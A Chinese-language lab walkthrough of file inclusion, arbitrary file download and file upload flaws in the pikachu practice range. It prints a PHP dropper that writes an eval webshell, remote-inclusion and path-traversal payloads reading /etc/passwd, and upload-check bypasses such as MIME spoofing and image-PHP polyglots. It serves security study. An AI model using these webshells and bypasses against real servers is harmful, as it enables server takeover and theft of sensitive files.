一、文件包含漏洞

1.概述

什么是文件包含

简单来说,就是一个文件包含另一个文件

几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞存在在PHP、web、Application脚本中居多,在JSP、ASP 中很少甚至没有,问题在于语言设计的弊端。

比如 在PHP中,提供了:
  include(),include_once()
  require(),require_once()
  这些文件包含函数,这些函数在代码设计中被经常使用到。

文件包含漏洞分类:

PHP 中的文件包含分为本地文件包含远程文件包含

更多细节点击这里

2.本地文件包含(Local File Include)

LFI

打开pikachu靶场:

1.读取同一文件夹的文件

image-20231207113454386

文件名以参数的方式直接在url上显示

按个提交查询,发现url上只显示1~5的文件名,是否还存在file6?

当然我们可以直接在url上修改成file6,结果如下:

image-20231207114656939

果然存在。

同时,我们也可以利用bp直接爆破,

image-20231207115040969

image-20231207115327173

很明显,file6的长度很不一样,接下来直接修改url,跟上面一样

在这里我们可以直接在它的根目录下传入一个文件,然后再通过修改url的filename值,跟上面道理是一样的

image-20231207120141725

2.读取不同文件夹的文件

将自己创建的文件放在D:\phpstudy_pro\WWW\pikachu\vul\fileinclude目录里

image-20231207180919150

然后修改URL,

image-20231207181110506

tip:

1
../ 用来返回上一层目录

3.读取系统文件

敬请期待后续

3.远程文件包含

条件如下:

1.php.ini中allow_url_include和allow_url_fopen的开启

2.所包含的远程文件后缀不能与目标服务器相同(比如目标服务器是php解析的,远程服务器文件就不能是php)

攻击者会在自己的服务器上写好一个木马,格式是txt文本

1
2
3
4
5
6
<?php
$myfile = fopen("1.php", "w");
$txt = '<?php @eval($_POST["test"]);?>';
fwrite($myfile, $txt);
fclose($myfile);
?>

将该txt文本保存在D:\phpstudy_pro\WWW\pikachu\vul\fileinclude目录下

image-20231209194834654

将我们的恶意txt像本地包含一样构建payload如下:

1
http://127.0.0.1/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/vul/fileinclude/hacker.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

结果如下:

image-20231209195042038

然后使用蚁剑连接一下

image-20231209195206302

提示返回数据为空怎么办?

参考:点这里

二、不安全的文件下载漏洞

1.概述

文件下载

​ 文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。
​ 此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。从而导致后台敏感信息(密码文件、源代码等)被下载。

​ 所以,在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑。

漏洞介绍:

任意文件下载漏洞,正常的利用手段是下载服务器文件,如脚本代码、服务器配置、系统配置…但有时我们不知道网站所处的环境以及网站的路径,这时可以利用../../来逐层猜测路径。

利用条件

  • 存在读文件的函数

  • 读取文件的路径可控且未校验或校验不严

  • 输出了文件内容

漏洞危害

下载服务器任意文件,如脚本代码、服务及系统配置文件等

可用得到的代码进一步代码审计,得到更多漏洞

漏洞挖掘:

从链接上看,形如:

1
2
3
4
5
6
download.php?path=
download.php?file=
down.php?file=
data.php?php=
readfile.php?file=
read.php?filename=

从参数名看,形如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
&ReadPath=
&FilePath=
&filepath=
&Filepath=
&Path
&path
&inputFile=
&Inputfile=
&url=
&urls=
&Lang=
&dis=
&data=
&Data=
&readfile=
&filep=
&src=
&menu=
META-INF
WEB-INF


漏洞验证

  • index.php?f=../../../../../../etc/passwd

  • index.php?f=..index.php

  • index.php?f=file:///etc/passwd

    当f的参数值为php代码时。若文件被解析则是文件包含漏洞,若显示源码或是提示下载则是文件查看与下载漏洞

参考

2.实战

image-20231210194645793

观察url,发现并没有变化,查看源代码,然后进行拼接

image-20231210194947295

使用../跳转到更高级,实现其他敏感文件的下载

payload:

1
../../../index.php

如下:

image-20231210195826420

三、不安全的文件上传漏洞

1.概述

文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录

​ 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。

漏洞危害

文件可以通过自定义成为webshell,通过文件上传来上传后门,直接获取网站权限,属于高危漏洞。

2.客户端check(client check)

先简单上传一下正常的图片,可以上传成功

再上传php文件

image-20231210215620778

还没上传就提示格式不符合要求,猜测是客户端验证的效果

要想绕过客户端验证有以下几种方法

  • 禁用Javascript
  • bp抓包后修改后缀
  • 修改源代码

1.禁用Javascript

我用的是firefox,禁用方法如下:

image-20231210220333266

其他浏览器的禁用方法点击这里

关闭这个页面后重新上传

image-20231210220605385

成功

2.bp抓包后修改后缀

我这里抓不了包,不过可以提供一种思路

参考:https://blog.csdn.net/elephantxiang/article/details/113664495

3.修改源代码

我们查看源代码,发现是通过调用函数checkFileExt来实现对上传文件类型的限制的

image-20231211215402828

直接f12,将这个调用函数删除

image-20231211215631633

删除后再次上传php文件,上传成功:

image-20231211215737911

3.服务端check(MIME type)

1.什么是MIME

MIME(Mutipurpose Internet Mail Extensions),即多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问时,浏览器就会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式

常见的MIME格式:

类型 格式
超文本标记语言 .html .html
普通文本 .txt text/plain
RTF文本 .rtf application/rtf
GIF图形 .gif image/gif
JPEG 图形 .jpeg .jpg image/jpeg
au声音文件 .au audio/
MIDI音乐文件 mid .midi audio/midi audio/x-midi
RealAudio音乐文件 .ra .ram autdio/x-pn-realaudio
MPEG文件 .mpg .mpeg video/mpeg
AVI文件 .avi video/x-msvideo
GZIP文件 .gz application/x-gzip
TAR文件 .tar application/x-tar

2.实战

直接上传我们的php代码,回显说只能上传jpg,jpeg,png格式

image-20231212200507387

查看源代码没看出什么,直接抓包吧

发现content-type应该就是判断该文件类型的依据,直接将其内容改成image/jpeg,在forword出去,文件成功上传

image-20231212201339895

image-20231212202023086

4.文件内容check(getimagesize)

getimagesize函数用于检测图片文件的大小,限制了上传文件的文件头必须为图片类型

尝试过上一关的方法,结果回显报错

image-20231212221151460

可以猜测使用了getimagesize函数

有两种方法可以成功上传:

法1:

​ 将jpg格式的文件头加入到php文件中

image-20231212221659590

​ 再重新上传,可以上传成功

法2:

​ 将php文件写入图片中

方法如下:

​ 新建一个文件:image-20231212223357347

​ 将准备好的php文件(aa.php)和图片(image.jpg)放入该文件中,在该文件目录下打开命令行,

​ 输入:copy image.jpg/b+aa.php tp.jpg

image-20231212223720967

​ 得到一个新的图片后再将这张图片上传即可

漏洞利用:

这里是针对方法一

我们可以利用文件包含的漏洞,将该文件上传上去

先目录猜解,得到

1
http://127.0.0.1/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2023/12/13/5015106579620bd5689342763105.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

image-20231213160531127

再用蚁剑连接:

image-20231213160239612

连接成功